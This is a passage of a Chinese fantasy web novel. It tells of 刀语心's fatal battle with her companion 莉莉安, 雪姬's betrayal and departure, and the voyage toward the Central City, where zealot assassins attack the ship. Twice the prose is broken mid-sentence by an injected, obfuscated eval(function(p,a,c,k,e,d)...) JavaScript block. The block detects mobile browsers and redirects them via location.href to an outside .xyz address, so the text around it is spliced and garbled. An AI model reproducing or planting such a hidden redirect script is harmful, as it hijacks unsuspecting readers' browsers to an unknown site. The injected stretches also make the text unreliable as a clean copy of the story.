“这样的景象我见过太多次。”从第一次面对天灾失去双亲,到后面加入救世会在这片被浩劫摧残的大地上行走,莉莉安亲眼见过很多堪称噩梦的场面。 食腐的乌鸦在高空盘旋,无数血液渗入泥土将其染至猩红,燃烧几天几夜都处理不完的尸体,余热散尽后只剩冰冷的灰烬。 她想,当初直面浩劫的人们所经历的一切肯定还比这些要恐怖万分。 她合上眼想将这些场景从自己脑海中驱赶,但越是抱有这样的想法她就越是不受控制地回想,那些啼哭,那些破碎,那些本该拥有无限可能的生命化作空无。 而造成这一切的原因都是种子。 是种子引来天灾,是种子用自身力量造成巨大损失,是种子带来浩劫将这个世界彻底改变。 千疮百孔的世界无法承受浩劫重临,任何一枚种子的存在都会带来致命威胁。 思及至此莉莉安重新睁开眼,原本明亮的瞳孔中此刻只剩麻木:“刀语心姐姐,你是我的朋友更是我的同伴,我不想也不愿与你为敌。” “如果你放弃这份力量,我不会杀了你。” 这是她在此刻唯一能想出来的万全之策,代价却是刀语心的退让,莉莉安明白这完全不是一件能轻易做到的事,而她也隐隐约约知道刀语心的回答。 “……绝无可能。” 话语未落,刀语心就朝莉莉安攻去,莉莉安打起精神向后避开。剑尖还差分毫的距离就能割开莉莉安的喉咙,刀语心也不知道自己究竟是失误还是不忍。 看着剑光从自己眼前闪过,莉莉安心中泛起苦涩,对于刀语心的回答她早有预料。 她从未像此刻一样,觉得歌唱是一件痛苦的事。 悲凉的音调将还有意识存在的人们连接而后任她操纵,她眼下的目的只有一个:将还未带来灾难的种子彻底扼杀不留后患。 “姐姐,莉莉安……” 迟迟赶到的雪姬,正木然地看着她最不愿意看到的景象,前不久还在篝火旁彼此劝慰的同伴,此刻正拔刀相向。 她不在莉莉安歌声的影响范围之内,而除她之外的所有人正在被吟唱所操控。 雪姬这才意识到,自己犯下了不可被饶恕的错误。 是她在无形中推动命运的齿轮,让彼此的线条纠缠相生,又于此刻编织成一个谁也无法解开的死结。 曲调化作无形的悬丝,操纵着能行动的木偶朝着刀语心攻去。 悬丝也想要落在刀语心身上却无从下手,她的发饰具有清醒特性,但在下一秒,她却摘下银白花瓣用异化之力送到替她背负诅咒的谢止沉身边。 随后漆黑如墨的能量流入她的耳腔封闭住她的听觉,可这也使得她无法判断从四面八方而来的攻击。 黑潮也可以传递敌人的位置信息,但长久战斗下来她已经积攒了太过疲劳,处理这些外来信息对她而言是一种负担。 她就像一台已经超负荷运转的机器,她已经战斗了太久太久。 好累。 不止是躯体上的劳累,对刀语心而言伤害更大的反而是精神上的折磨。 恍然间,不知从何处出现的长鞭抽痛她的手腕,灭灵剑掉落在地,在她想要重新拾起的瞬间腿部受到一击,让她失去平衡半跪在地。 刀语心撑着地面呕出一口血。 在此期间莉莉安操控着人群围住刀语心,将她囚起如同困兽。 看见这一幕,雪姬想冲过去挡在刀语心身前,却被莉莉安操控着修女拦下。 “莉莉安!不要杀死姐姐,她什么都没做错,为什么要这样对她?”雪姬不解地询问,她有太多的困惑。 异化之力消耗殆尽后,刀语心也逐渐恢复听觉。 “雪姬……有些东西的存在本身就是错的。”莉莉安在说这话的同时手指已然嵌入皮肉,“种子,是世界的毁灭者。” 她绝不认为刀语心的存在是错误,可她也无法忽略刀语心身为种子的这一事实。 听到这句话后,刀语心只是低笑。 “为什么……” 她擦去嘴角的血液握紧剑缓缓起身,周围人警惕着举起武器的同时,刀语心没有任何攻击性举动只是抬眼看向站在不远处的莉莉安。 “为什么我就要死去?” 刀语心的声音不大也没有包含过多情绪,好似她只是在轻飘飘询问一个无关紧要的问题。 在莉莉安失神时,其他人已经遵循着之前下定的暗示朝刀语心蜂拥而上。 被围剿的刀语心没有一刻停止反抗,她拿着她手中的剑还在挣扎。 “你以为是我想来到这个世界的吗?” 她的言语很轻,甚至差点被武器相锉的声音盖过,可莉莉安却能清清楚楚听见她所说的每一个字,每一句话。 “为什么我要背负诅咒?为什么我要离开无名镇?为什么我想要保护的人总会因为我受到伤害?为什么我就得是被你们预设的救世主和毁灭者?” “告诉我啊,为什么!” 用力甩开一道攻击后,刀语心几乎是大吼着说出这句话。 预示她的命运,假设她的动机,可刀语心从一开始所求的就只是拯救自己,她想让自己毫无顾虑毫无负担地活下去,仅此而已。 莉莉安无法回答。 她明白自己身为个体的局限性,她明白自己无法拥有足够的力量让所有人都获得圆满结局,但她也明白大多数人理应拥有更好的生活。 要实现她毕生追求的愿景,就不能容忍任何危险存在。 为此,她万死不悔。 动听的歌声在空气中永不停歇地震荡,对刀语心而言其中饱含着无尽杀机。 她们是同样偏执的人,在命运分岔路口上狭路相逢的两人只能看谁先摔得粉身碎骨,为对方让路。 乐曲的终章由莉莉安唱响,无数铺天盖地的攻击伴随其中,落在刀语心身上的前一刻,黑色潮水将她完全包裹。 时间仿若在这一刻停滞。 当潮水再一次开始流动,那些被尽数吞噬的攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248863|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击化作无数黑色丝线向来时的轨迹射出。 所有攻击者都被束缚在墨色线条之下,动弹不得。 异化之力过度耗尽的痛苦和诅咒发作不相上下,刀语心已经是强弩之末,她只能勉强用剑撑起自己的躯体。 她站在原地,那双漆黑深邃的眼俯视着这场战斗中的败者,其中没有任何多余的东西存在,刀语心自始至终压抑着所有对她无用的感情,为了抵达她所行之路的终点。 她从来不是甘愿被情绪掌控的人,她向来清醒,即便这份清醒会带给她超乎预期的苦痛。 那些话语是她心底真实的声音,是她不甘的宣泄,更是她用来拖延的手段。 莉莉安应该在她倒下的那一刻就彻底杀死她,而不是听她“临终”的发泄,让她拥有足够的时间将孤狼的种子吸收,突破异化之力第四阶段掌握转化。 莉莉安太善良了。 可这不是莉莉安的缺点,刀语心明白利用对方本性善良的自己才最为卑劣。 她没有在原地停留太久便拖着剑缓步向前走去,来到莉莉安的身边。 异化之力束缚住莉莉安的喉咙,那抹漆黑是莉莉安身上唯一暗色调的东西,她本该是明亮的,如今却沾染灰尘和血迹。 刀语心想为她擦去嘴角的血液,但无论如何她都擦不干净。 粉发少女一如既往温柔地握住她的手,然后努力挤出一抹微笑朝她微微摇头。 莉莉安张口却没有发出任何声音,唯余眼角流下一行泪水,刀语心看懂她想要说出的话语,她说:对不起,刀语心姐姐,杀了我吧。 她们之间的冲突无法消解,只能用其中一方的生命画上句号。 在刀语心身后,赤红流光正缓慢朝刀语心所在延伸,是在痛苦中起起伏伏的谢止沉本能想为刀语心分担杀死友人的重担。 很快,他就发现自己多此一举了。 莉莉安没有经历过多的疼痛带着一抹笑意离开了这个世界,这是刀语心唯一能为她做的。 不知尽头的静默中,刀语心忽然间察觉到杀意涌动。 本能先于思绪握住剑柄重伤杀意来源,转过身后她的瞳孔终于不再沉寂。 “姐姐……对不起。” 雪姬的心口被剑尖洞穿,她苍白的笑颜抨击着刀语心的神经。 刀语心握剑的手在止不住地颤抖,她不敢拔出更不敢做出其他举动,她在恐惧自己一不小心就会让雪姬也失去性命。 心头血顺着剑锋流过,灭灵剑在片刻间获得强化。 雪姬不知道自己要怎么做才能弥补自己犯下的过错,这是她能想到给予刀语心的唯一补偿。 可这不是刀语心想要的。 “这一切,都是我的错。”说着雪姬淡红色眼眸逐渐加深,变成刀语心最不愿见到的色彩,完全的血红。 看着那不祥的斜十字浮现,刀语心正被迫接受一个她完全不愿相信的事实—— 雪姬也是狂信徒中的一员。 “不要为我难过,姐姐,我……不值得。”雪姬伸出手主动将灭灵剑拔出,掉落在地发出声响,她对着刀语心展露一个发自内心的笑容。 “再见了。”如果这不是永别。 在向后跌去的过程中,雪姬被身后的修女抱住,她们二人脚下是一个传送法阵一旁还有孤狼的尸身,两人不约而同地不打算将刀语心也一起带走。 最终,传送阵的光芒消失,完全麻木的刀语心陷入彻底停滞。 在不知道被谢止沉抱住多久后,她才迟迟回过神来。 “我们……该走了。”她嘶哑的嗓音中挤出字眼。 在即将迎来黎明的前夜,遗忘之乡的风雪开始平息,空间边界也重新和现实融合在一起,从今往后遗忘之乡不会再被人遗忘。 失去异化之力支撑的凹陷地表开始破碎,在大地坍塌之时,墨弘深已然拖着自己的躯体行至冰晶之上,在坠入更深处的过程中冰晶将他包裹覆盖后被完全掩埋。 抱着莉莉安离开的中途,刀语心一路无言。 这是她们之中谁的过错吗?不,绝不是。 将每个人视作棋子利用殆尽的救世会、未曾谋面却对她施加无数恶意的神明……以及将她投放到这个世界的存在。 终有一日,她会将所受的苦痛,百倍奉还。 89. 第 89 章 悬挂高天的月亮用微弱光芒触碰大地,一道光线穿过窗户照映在漆黑的屋内。靠坐在椅子上的刀语心经受不住困倦倚墙睡去,只不过她的眉头始终紧皱。 她被困在无休止的梦魇之中。 梦中景象千变万化,前一秒是莉莉安在放声歌唱,后一刻是巫津笑眯眯地看着她。 他说:“看吧,你又把自己的同伴害死了。” 绕开他那张令人生厌的脸刀语心想要去找寻莉莉安的踪迹,可梦就是梦,终究什么都没能留下。 “救世主,你究竟能拯救谁呢?” 在说完这句话后巫津从刀语心面前消失,而后她看见被自己贯穿心口的雪姬,嘴角流着血朝她虚弱地微笑。 那一抹刺眼的红将她从梦中唤醒。 睁开眼,刀语心对上谢止沉充满关切的视线。他不知何时从床上坐起,此刻正用一个能让她不那么难受的方式扶着她的脖颈,在刀语心彻底清醒后他才收回自己的手。 “又做噩梦了。”他很笃定。 几天下来都没睡好的刀语心捂着头回应:“是我把你吵醒了吗?” 本意是她想照看谢止沉,没想到现在却是对方在关心自己。她以为早就经历过背叛的自己再也不会在意,可潜意识的阴影却在深夜循环往复。 “不,你一直都很安静。”是他主动捕捉到她从不言说压抑在最深处的悲伤。 谢止沉了解刀语心,她不是会轻易把痛苦发泄出来的人,绝大多数出现负面情绪的时候她只会独自一人承受。 比如在此时此刻,她并不会和他分享自己的噩梦。 目光在他身上打量,确认不祥的幽紫已经消散殆尽:“诅咒消退了,你身体感觉好些了吗?” “已经没事了,不用担心。”谢止沉浅笑着回应着她,能为刀语心分担诅咒他很开心,即使经受蚀骨钻心的疼痛他也心甘情愿。 “下次你不可以这么做了。”刀语心盯着谢止沉说道,少见地对他冷脸。 带着冰冷目光的对视并没有维持太久,她很快垂下眼帘开口:“我会害怕。” “我害怕你也会因为我的缘故离开。” 她低头看着自己的手心,那里空无一物,却又沾满鲜血。刀语心从不希望自己的存在会让她想要保护的人带来不幸,而现实偏偏总是事与愿违。 下一刻,拥抱先于话语得以展现,耳边传来熟悉声音的同时她视野被阻隔,只能任由指尖微微颤抖。 “我不会有事,更不会离开。” “只是无论如何我都没办法眼睁睁看着你承受一切,自己却什么都不做。”谢止沉眼中的伤痛夹杂着怒火,他很清楚刀语心所背负的都是外界强加于她身上的枷锁。 她挣开这个拥抱,抬眼看向他说:“我也不想见到你因为我遭受痛苦。” 被推开后谢止沉注视刀语心的双眼听她说道,他心中却没有任何不解甚至有丝丝喜悦,他知道这恰恰是她在意他的证明。 “我会找到解决的办法。”刀语心已经将二重诅咒的咒印记录下来,可她明白这也只是表象。 她会找到病症源头,将一切的苦厄祓除。 “诅咒在我能承受的范围之内,放心吧,我会保护好自己。”为了能一直陪在她身边,孤身一人寻找她的记忆他不愿再回想,他此刻无比珍惜能陪在刀语心身边的时光。 思及至此谢止沉牵住刀语心的手说道,“即便你想赶我走也来不及了。” 噩梦带来的不适感被这一通交流驱散,刀语心也面色柔和下来给予回应:“好。” 次日,刀语心准备带着谢止沉离开遗忘之乡。这里已经和外界恢复了连通,大部分人都在庆贺也有些人在担忧,墨弘深死去后资历最老的沈老成为他们的主心骨,在人群中安排事务。 得知刀语心要离开,沈辞出声挽留:“刀语心小姐,有一个地方我想带你去看看。” 将刀语心带到一扇门前,他先一步推开,光线照亮后站在门外刀语心得以看见房间全貌,地板墙壁房顶都密密麻麻布满她看不懂的法术纹路。 “这是用于隔绝预言的法阵,是老师毕生研究的作品,我们想用它报答你带我们平安离开遗忘之乡的恩情。” 在见证那场战斗后,沈辞同样悲哀于自己没能阻止悲剧发生。 他们这样的预言家在不可改变的命运面前,又究竟有什么作用?再一次被这个问题困扰,沈老带他来到这个房间共同完成这个法阵。 “没有问题。”谢止沉检查后说道,这个法阵的精妙之处在于用最小的力量扯开一匹布,将其覆盖命运的一角。 指尖轻触过法阵痕迹,刀语心没有理由拒绝这个报酬。 诅咒几次三番的发作都是掐好时机,刀语心早就不想再任由救世会摆布,接下来的目的地就是中央城,即将步入救世会的最大据点她必须拥有足够多的筹码。 刀语心站在法阵中央,沈辞和沈老在一旁注入法力。顺着法力流过,整个屋子的法术轨迹亮起光芒。 运转过程中,法阵似乎要将沈老的生命力全部吸走而他却不打算做任何反抗。 沈老想让自己死得有价值一些,换句话说,他想用自己的性命在刀语心身上押注,他赌刀语心会比他活得“更有价值”。 察觉异象后,谢止沉迅速撕开治愈卷轴以及施法维持住沈老急速流逝的生命,只是从力量的涌动来看,他的手段实在算不上温和。 不多时,屋内再次黯淡下来。 结束后刀语心察觉自己身上多了一个持续半年的状态:命运迷雾——没有人可以窥视你将行的路。 “这是我们能做的极限。”沈辞出言解释。 “有劳二位,已经足够了。” 按照神令的要求,她必须在神降日之前赶到神域,神将日在十三月十三日,距离现在不到半年。 转头见到沈老的异样,刀语心出言询问:“没事吧?” 听到这话,沈老最先看见的却是谢止沉满是威胁的目光,他不敢再多说什么:“没事,只是法力耗尽了。” 分别前夕,沈辞和刀语心二人做着最后道别。 “我和老师处理完遗忘之乡的事情后就打算去四方走走,之后就不能同行了。” “好,注意安全。”看着他胸前的四角星,刀语心问出自己的疑惑:“不过,你不打算回占星会吗?” 沈辞摇头解释:“占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248864|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星会最重要的部分是那位天启者和他们从小养大的预言家,对于我这样的后来者他们没什么要求,也不必全部听从天启者的指示。” 接着他便将四角星取下,递给刀语心:“四角星是身份标识,或许会对你之后的路途有用。” “谢谢。” “不必客气,那便祝你们一路顺遂,再见。” 遗忘之乡的最后一站是最高处的山峰,经年不息的风雪已经消散,只是积雪尚未融化殆尽,遗忘之乡迎来久违的晴空,而这里是太阳最先照射到的地方。 枯树旁有一个很新的坟茔,刀语心在战斗结束的那个夜晚独自一人把莉莉安埋葬在这里。 莉莉安给刀语心的感觉一直都是色彩缤纷明媚张扬,如今却只能躺在荒凉苍白的雪山之中,距离遗忘之乡迎来真正的春天还很远很远。 那双如墨的眼中是抹不开的悲凉。 躯体受到伤痛刀语心能面不改色地忍住,莉莉安和雪姬的离去才是打击到她的真正原因。 她不明白。 即便雪姬一开始就有着别样心思,刀语心也不想过多追究,不是所有人的命运都由自己掌控每个人都拥有自己的课题,她想,或许雪姬有什么难言之隐。 是她太天真了,没想到雪姬会是狂信徒中的一员,是属于神明的爪牙。 可雪姬就真的有错吗?刀语心很清楚地记得她不止一次挡在自己的面前,更不是对她们没有任何情感。 雪姬的血液如此特殊,能够存活至今并和刀语心相遇,她无法想象雪姬究竟经历过什么。 莉莉安也是如此,能被救世会所收容的大多是无家可归的孩子,莉莉安想要拯救他人的心愿也没有任何问题,刀语心想要活下去更是理所应当,问题的症结不在她们之中任何一人身上。 昔日朝夕相处的同伴被自己亲手了结,她痛苦,雪姬亦然。 命运的丝线交织在一起,编织出刀语心最不愿接受的结局。 似乎她们的相遇从最开始就是错的。 她合上眼静默哀悼。 事到如今,再多的情绪已经没有意义,她知道自己能做的就是不断前行,直到没有人再能干涉她的命运。 一阵微风自远处吹来,刀语心感受到有一片柔软的物体划过自己的脸颊,待到她重新睁开眼却被眼前初春降临的景象吸引。 原本的枯木上抽出新芽生机勃勃的翠绿点亮苍白的视野,枝叶间隙中花苞绽放,花瓣顺着风的轨迹飘落。 一朵完好的花朵缓缓飘下,落在坟茔一旁。 这幅不合常理的景象来自她身旁之人,谢止沉自先前开始就在施展法术。 察觉到刀语心的注视,他只是侧过脸朝她浅笑。 日光似乎也在此刻更增几分暖意,紧接着又一阵略强的微风吹来,刀语心逆着风向抬手接住被吹落的花瓣,指尖轻捏触碰着新生的柔软,她想说什么,但最终什么没有说出。 她静静感受着当下。 即便物是人非,可在那过往经历的时刻她们所感受到的一切都是真实,过去不该被否定,她会带着那些独属于她们的回忆前行。 “我们走吧。” “好。” 90. 第 90 章 没有选择顺着来时的路返回,刀语心按照地图路线翻山越岭来到下一个小镇。 藏宝图上的预示红圈只剩下中央城。 “去中央城的话,钱多的用传送阵没那么多的就走大路,如果身无分文或是有其他什么不方便明说的原因,那我建议你们走水路。” 帮当地居民修好庄稼设施后刀语心得到热心解答和免费且温暖干净的住宿。 等待谢止沉做饭的过程中,她坐在小院中的木制长凳上刷着终端。从连通信号后信息就全部一下子涌入,直到现在她才有足够的时间去细细浏览。 绝大部分都是对她失联许久的担忧,其中也不乏一些好消息。 从混乱地界带人离开的萧青已经平安无事找到裴瑛,对于这个喜闻乐见的结果她们都不约而同地告诉刀语心,不过比起萧青,裴瑛给刀语心发来的信息中包含更多关心。 字里行间她细细叮嘱刀语心要小心行事,不要过度以身犯险,还要按时吃饭好好保护自己。 -这一路绝不会轻松,但我相信你会抵达你想要去往的终点。 -我们会等你回来。 刀语心目光停留在聊天框最后一句话上很久后,她才打开其他人的信息。 接着是绿绮,她简单说了一下翼蜥龙裔一族状况还算不错,吴德在无名镇搜寻许久后和神殿神女神子再度离开,以及她能获得的救世会信息,主教在两个月前从中央城离开归期不定。 但巫津还在。 -我和玄风玄霜托迟明煦寄了一些东西给你,就在中央城,记得一定要拿哦。 最后还剩两条,一个是罗茜,一个是未知联系人,眉间稍蹙一丝不好的预感促使着刀语心先点开后者。 -如果你乖乖听救世会的话,莉莉安就不用去死。 -很可惜,你并没有选择这个提议^_^ 这人毫无疑问就是巫津,刀语心没有给予他任何回应,面无表情地拉黑并点开最后一个聊天窗口。 罗茜已经在中央城内,她提到中央城最近开始戒严并且严进严出,几个重要进出口都有神殿和狂信徒的人在巡逻守卫,查看来往人员身份信息。 他们似乎在找什么人,极大概率就是刀语心。 -不过,我想这些都拦不住你。亲爱的,我们中央城见。 最后还有一串详细的地址,是罗茜准备好的安全屋,伪造的身份证明也在其中。 给出的信息十分详细,这也让刀语心确信当初和苏岚的交易成立,苏岚和她一手成立的秘苑会尽心尽力地帮助刀语心杀死她们共同的敌人。 “等到了中央城,要不要去给她们挑一些礼物?”吃饭途中谢止沉提议道。 “好啊。”这是个不错的主意,但这刀语心也想起来她答应谢止沉的锻造委托还进度缓慢。 “说起来,你要锻造的东西还缺什么材料?”接下来就要去中央城,身为残存区最大人类城邦材料种类应当是琳琅满目。 听到这话的谢止沉陷入停顿,随后瞳孔开始变化,刀语心并不知道谢止沉和亘古意识的对话如下: “把我要的东西送到中央城。” “?”对方先是被突如其来的冰冷声音吓一跳,紧接着就是愤怒,“失联这么久没消息第一句话就在要东西,再说了你让我送我就送?” “不想送的话,那你就痴心妄想一辈子好了。”说完谢止沉就毫不留情地切断连接,独留亘古意识暴跳如雷。 而后他抬眼看向刀语心轻声说道:“剩下的材料会有人送到中央城,到时候我去取就行。不过也有可能不全就是了,到时候我们一起去逛逛吧。” “没问题。”她也很期待见识到各种各样的材料。 饭后,黑夜笼罩整个世界,除开房屋的灯光外世间最明亮的莫过于天上的月亮,坐在门槛上看着那轮悬挂的孤月,刀语心莫名想起一面之缘的另一个自己。 耳边是田野间传来的蛙声虫鸣,脚步声从她身后慢慢走近。 “在想什么?” “我在想,在第二个场里你看见了什么?” 走到刀语心身边和她一起坐下后,谢止沉回应着她的问题:“另一不同世界的我,你也一样,对吧?” “他有和你说什么吗?”另一个自己只对她进行叮嘱,除开那些玄之又玄的话语之外,刀语心偶尔也会想象,祂和祂所在的那个世界究竟经历了什么。 “嗯……秘密。”面对刀语心不解的目光谢止沉只是勾起一抹微笑,“留到以后再告诉你。” 他眼神温柔地注视着刀语心,若高悬的月亮必将坠落,那他会为其织起细密的网。 “那好吧,但还有一个是你逃不掉的。”她侧头盯着谢止沉不打算放过他,“你答应过我的,记忆恢复后会告诉我故事的后半段。” 他的确这么说过,目光放空似是开始回忆:“让我想想上次讲到哪了。” 在发现自己从始至终都是在被谎言欺骗操控后,他开始有意识在暗中争斗夺权,他有过失败不过在漫长岁月中,他从一枚种子转变为真正的神明。 他,或者该称为祂,祂变成千万人之上的神主,无人敢位于其上。 可也有人想将祂拽下。 即便身处高位祂也没有如愿见到自己心心念念的月亮,受制于种种原因祂无法离开神位,祂只能枯坐其上期盼着有好消息能够传来。 最终,祂等来的是背叛,以及阴谋者处心积虑的篡位。 他们说,她不要你了。 祂不信。 心中却不受控制地升起愤怒和不甘,即便祂很清楚他们是满口谎言的骗子,但祂无论如何都见不到她一眼也是事实。 祂想见她。 虚无缥缈对他而言毫无意义的神主之位祂早就不想要了,祂干脆如阴谋者所愿失去大半力量跌落神位。 转而在无数个世界里游走成为如今的他,在寻找她的同时顺带谋划复仇。 幸好命运垂怜,他找到了。 对上那双倒映月光的眼,他听见她说:“故事还没有迎来结局,对吗?” “当然。”他笑着回应。 来到刀语心身边迟迟发现她就是自己追寻的种子后,谢止沉觉得从前经历的所有可以画上一个句号,他所期待和她一起的篇章还在继续。 只是,她也有自己尚未了结的命运。 休息一晚后他们告别淳朴的小镇居民离开前 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“真阔绰啊。”刀语心这么坦诚倒是让这人一下子无话可说,他打了个手势后其他人也接着各司其职,不再虎视眈眈。 收了钱,他也老老实实将自己能说的信息全数告知。 中央城内部势力错综复杂,明面上是三分天下,神殿、占星会、联合财团,再往下却又有千丝万缕和他们相关联,狂信徒、救世会、六大家族…… 除此之外还有很多叫不上名字的势力在其中盘根错节。 “那你们呢?你们这卖什么的?有什么好东西吗?比起商会你们的优势在哪?”刀语心的语调很平,但莫名有种压迫感,她很流畅地反客为主。 “我们这里是黑市一般没什么人敢进来,至于其他的只有一句话。”说着他站起身来,朝刀语心咧嘴笑道: “姐,只要钱够,我们什么都卖。” 他点开自己的终端和刀语心交换联系方式,她看着窗口弹出的名字:韩弈 “这单我请了,就当交个朋友。”直觉告诉韩弈,刀语心不容小觑更是值得长久合作的对象,“看在金币的份上提醒你一下,除开我们之外还有很多人在盯着你呢。” “谢谢,我知道了。”说完她也起身,朝着码头方向走去。 谁让她身上有个别出心裁的定位器呢? 找到即将航行的水手付一笔不菲的费用后刀语心二人就登上轮船,虽说是货船但也有让人歇息的地方。 摇晃的船体让人有些重心不稳的漂浮感,潮湿的海风扑面而来,她站在甲板上抬手任凭其从指尖流过,有种莫名的熟悉感涌上心头。 航行途中至半夜天气突发巨变,狂风暴雨巨浪翻涌,船长让无关人员全部留在房间内。 除开波涛拍打船体和物体移动的声响,本该寂静的过道内却传来脚步声,知道自己身为目标的刀语心并没有打开任何光源,她独自坐在房间指尖抚过灭灵剑升上半神阶后出现的血痕。 狭小窗户外雷光击穿云层,刺眼白光映照在幽黑眼神中,她对外界毫不在意只是在心中呢喃: 巫津……你最好别让我找到你。 91. 第 91 章 雷声轰鸣迟迟而来,同一时间舱门被暴力破开。 一系列攻击如窗外暴雨般朝空间内袭来,可对刀语心来说全都不痛不痒。 在异化之力的屏障后方,她缓缓提剑起身踩着被浪涛击打来回摇晃的地面,出鞘的利刃闪过划破天空的雷光。 追着咬人的狗实在是太过烦人。 狭小房间是绝佳的围猎地点,航行在大海中的货船让她无处可逃,不过这对刀语心而言也不全是坏处,异化之力的黑潮也无孔不入。 “注意脚下的力量流动。”狂信徒显然是有备而来。 很快刀语心视线中的边角开始被淡蓝色法术光芒侵占,而法术占据的地方异化之力无法再度覆盖,若要吞噬则需要一定的时间。 只是此刻她最缺少的就是时间,精心准备的刺杀绝不是什么持久战,她已被逼到绝路无处可退。 五人围起的包围圈忽然间出现一个缺口,赤色流光在狂信徒毫无察觉的瞬息就带走他的性命,借此机会刀语心将先前攻击悉数奉还的同时提剑朝缺口跃去。 没有任何视线分给喷涌的鲜血,她拉上谢止沉就往出口奔去。 “去甲板上。”船舱内部已经被法术纹路覆盖。 狂信徒的声音随着攻击从身后传来,低沉嘶哑像是恶毒至极的诅咒一般要将刀语心拖下地狱:“不计一切代价,杀死她。” “将她的尸首献给神明。” 此次围猎刀语心的并不只有这几人,一路上还有许多张牙舞爪的家伙,他们没有狂信徒的血瞳看上去更像是收了钱的打手。 “小心!”谢止沉说完就带着刀语心瞬移。 在他们原先所处的位置上传来一声巨响,是一场爆炸,而后一个很明显的凹槽突兀地出现在船体内部。 那些打手并没有这么简单,狂信徒在他们身上做了手脚。 这些人在受到伤害后身上会散发一种红光,随着生命的流逝那种自躯体内透出的光芒就会越盛,在接下来达到顶点后爆炸。 也就是说在将死的瞬间他们会变成扭曲可怖的法术炸弹。 在驾驶室内察觉到这场莫名震动的大副接收到指令,前去打开过道舱门看见这一幕后,便慌不择路地跑回原路和船长报告。 “不好啦船长,狂信徒那群疯子在炸船!” “什么?” 听到这话船长从驾驶室的窗户向下看去,就见到她绝不想看见的一幕:她刚花费重金补好的宝贝甲板被法术轰出两个大洞。 “这群该死的狂信徒,我要把你们撕碎了扔去喂海鲨!” 说着她就一拳破开玻璃拿着刀跳下去,一击就将正在施法的法师捅穿。 甲板上的混战难舍难分,刀语心二人一直在边缘防守,其中主要原因是拿着弯刀的船长不分敌我,风雨飘摇的当下她没必要再去招惹一个大杀器。 轰隆隆的雷声在耳边作响,一道有几层楼高的巨浪拍来让船身无比摇晃。 狂信徒并没有那么轻易放过刀语心,趁此机会凌厉的攻击朝她袭来,等她躲开攻击稳住身体余光却捕捉到一片黑暗,她一瞬意识到不对,刚才那道攻击不是针对她而是对准谢止沉,他掉下去了。 情急之下她忘了谢止沉能瞬移这回事,朝着战场中心的人抛去一个袋子后转而投入深海。 船长挥刀踹人感知到袋子里并没有危险后打开,发现是一整袋金条。 “有意思,赔偿金啊。”雷雨交织间她笑得张扬,手上挥刀动作却没有丝毫停歇,“不过你们这些狂信徒还是得死。” 与此同时,在下坠过程中谢止沉看到刀语心伸手朝自己而来。 半合的视线骤然放大。 “抓住我!” 在即将牵上的瞬息他落在海中翻涌的浪失之毫厘,海水模糊住他的视线,下一刻他却感受到自己的手腕被死死牵住了,有些疼,但他很喜欢。 顾不上冰凉刺骨的海水,谢止沉心中只剩无法言说的悸动。 自拥有记忆以来一直都在黄沙覆盖的沙漠,这是刀语心第一次触碰海水却前所未有地感到一种久别重逢的归属感。 异化之力和海水相似相融她抓住谢止沉后就操控异化之力把他们包围,制造出一个绝对安全的领域,不再被浪涛裹挟的他们停歇下来。 “没事吧?”转眼看着还在憋气的谢止沉,刀语心发现只是自己能说话,见此她勾起笑容故意问:“你不能说话啊。” 异化之力并没有把他和刀语心归为一类。 谢止沉无奈地笑着也不着急,他知道一时半会憋不死自己。 “神令在共振,海底有东西。”这也是神令唯一的好处,全自动宝物探索,说着刀语心手腕用力将他拽向自己,在这期间她抬手遮住他的视线。 黑暗之中一个轻吻落在他的唇上,可惜的是触及片刻就离开。 随即异化之力识别出谢止沉不是敌人,也为他构造出能够生存的水下空间。 只不过对他而言,比起印记这更像是一个奖励。 “走吧。”透过波涛席卷的水面还是能够隐隐看见雷光,继续待在这里会有被狂信徒追上的风险。 “……好。”手指轻轻缠绕上刀语心在海水中漂荡的发丝,谢止沉暗暗心想,自己究竟要怎么做才能讨要到更多的奖赏? 深海中有许多从未见过的异兽游移,好在异化之力包裹着二人的气息,让他们不断朝目的地靠近。 许久后来眼前出现层层叠起的海下岩洞,绕了一圈找到一处入口,穿过充满法术气息的屏障后得以重新站立,谢止沉施术先将刀语心身上衣物烘干。 屏障隔绝海水,构建出一处水下空间,进去其中却发现有一道黑色身影背对着他们。 “又见面了。”头戴蔷薇的女士转过身来优雅地和刀语心招手。 是苏岚,不过她身上没有任何的潮湿地面也没有任何液体的痕迹,整个人就像是凭空出现在这里的一样,待到刀语心走近后发现她的身影有些虚浮,这是她的投影。 “你怎么在这里?”见到是苏岚后刀语心放下手中的武器。 “我在等你。”苏岚主动朝她走来,“你的力量果然又变强了,海域沉寂了不知多少年但最近总在暴动,他们快害怕死了。” 从苏岚的只言片语中刀语心能勉强推测出事实的一星半点:异化之力的近阶在另一个世界引发了不小的恐慌,苏岚由于要处理这个岔子所以无法用真身来到她的面前。 “我干的?” “对,你干的。”苏岚语气中没有任何责怪之意,反而是面带微笑。 “你在海域里沉睡的日子比任何一个生命体都要长,理所应当地产生旁人无法企及的联结。那些篡位者担心自己夺来的位置不保,其余帮凶则是害怕自己被连带清算。” 说着苏岚将手轻触刀语心的脸颊,她直直看向刀语心的眼睛问道: “所以,告诉我,你会杀死他们吗?” 由于是虚影所以刀语心没有任何感觉 